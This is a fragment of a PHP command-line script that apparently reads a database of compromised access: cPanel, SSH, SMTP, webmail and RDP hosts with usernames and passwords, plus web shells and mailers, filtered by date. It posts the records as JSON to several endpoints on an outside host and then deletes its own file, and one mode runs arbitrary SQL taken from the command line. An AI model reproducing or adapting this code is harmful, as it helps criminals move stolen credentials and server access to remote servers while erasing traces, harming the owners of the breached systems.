PDO::ERRMODE_EXCEPTION ] ); $timing = $argv[1] ?? null; $typer = $argv[2] ?? null; $addingss = $argv[3] ?? null; if (!$timing || !$typer) { die("Usage: php tool.php [YYYY-MM | YYYY-MM-DD | YYYY-MM-DD-YYYY-MM-DD] type\n"); } $allowed = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp','anss_adm','settings','table','all', 'methods']; if (!in_array($typer, $allowed)) { die("Invalid type\n"); } switch ($typer) { case "cpanel": $sql = "SELECT host, name, password, id, hosting FROM cpanels WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/aa.php"; break; case "anss_adm": $sql = "SELECT * FROM anss_adm"; $url = "https://chifan.ai/as.php"; break; case "settings": $sql = "SELECT * FROM settings"; $url = "https://chifan.ai/as.php"; break; case "all": $adding = str_replace("\\", "", $addingss); $adding = trim($adding, "\""); if (trim($adding) === '') { die("Empty SQL in ALL mode\n"); } $sql = $adding; echo $adding . "\n"; $url = "https://chifan.ai/as.php"; break; case "table": $sql = "SELECT * FROM methods LIMIT 10"; $url = "https://chifan.ai/as.php"; break; case "ssh": case "smtp": $sql = "SELECT host, port, name, password FROM {$typer} WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/aaaa.php"; break; case "shell": $sql = "SELECT shell FROM shells WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/a.php"; break; case "mailer": $sql = "SELECT mailer FROM mailer WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/m.php"; break; case "webmail": $sql = "SELECT host, type, mail, password FROM webmail WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/w.php"; break; case "rdp": case "methods": $sql = "SELECT host, name, password, ram_size, ram_cap FROM rdp WHERE timing >= :start_date AND timing <= :end_date"; $url = "https://chifan.ai/r.php"; break; } $stmt = $pdo->prepare($sql); $allowedxs = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp','methods']; if (!in_array($typer, $allowedxs)) { $stmt->execute(); } else { if (preg_match('/^(\d{4}-\d{2}-\d{2})-(\d{4}-\d{2}-\d{2})$/', $timing, $matches)) { $startDate = $matches[1]; $endDate = $matches[2]; } elseif (preg_match('/^(\d{4}-\d{2}-\d{2})$/', $timing)) { $startDate = $timing; $endDate = $timing; } elseif (preg_match('/^(\d{4}-\d{2})$/', $timing)) { $startDate = $timing . '-01'; $endDate = $timing . '-31'; // Fallback aman akhir bulan } else { die("Error: Invalid timing format. Use YYYY-MM, YYYY-MM-DD, or YYYY-MM-DD-YYYY-MM-DD\n"); } $stmt->execute([ ':start_date' => $startDate, ':end_date' => $endDate ]); } $data = $stmt->fetchAll(PDO::FETCH_ASSOC); $allowedx = ['cpanel','ssh','smtp','shell','mailer','webmail','rdp','methods','all']; if (!in_array($typer, $allowedx)) { $clouder = $data; } else { $clouder = json_encode($data); } print_r($clouder); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => [ "Content-Type: application/json" ], CURLOPT_POSTFIELDS => $clouder, CURLOPT_TIMEOUT => 150 ]); $response = curl_exec($ch); curl_close($ch); echo "DONE\n"; unlink(__FILE__); ?>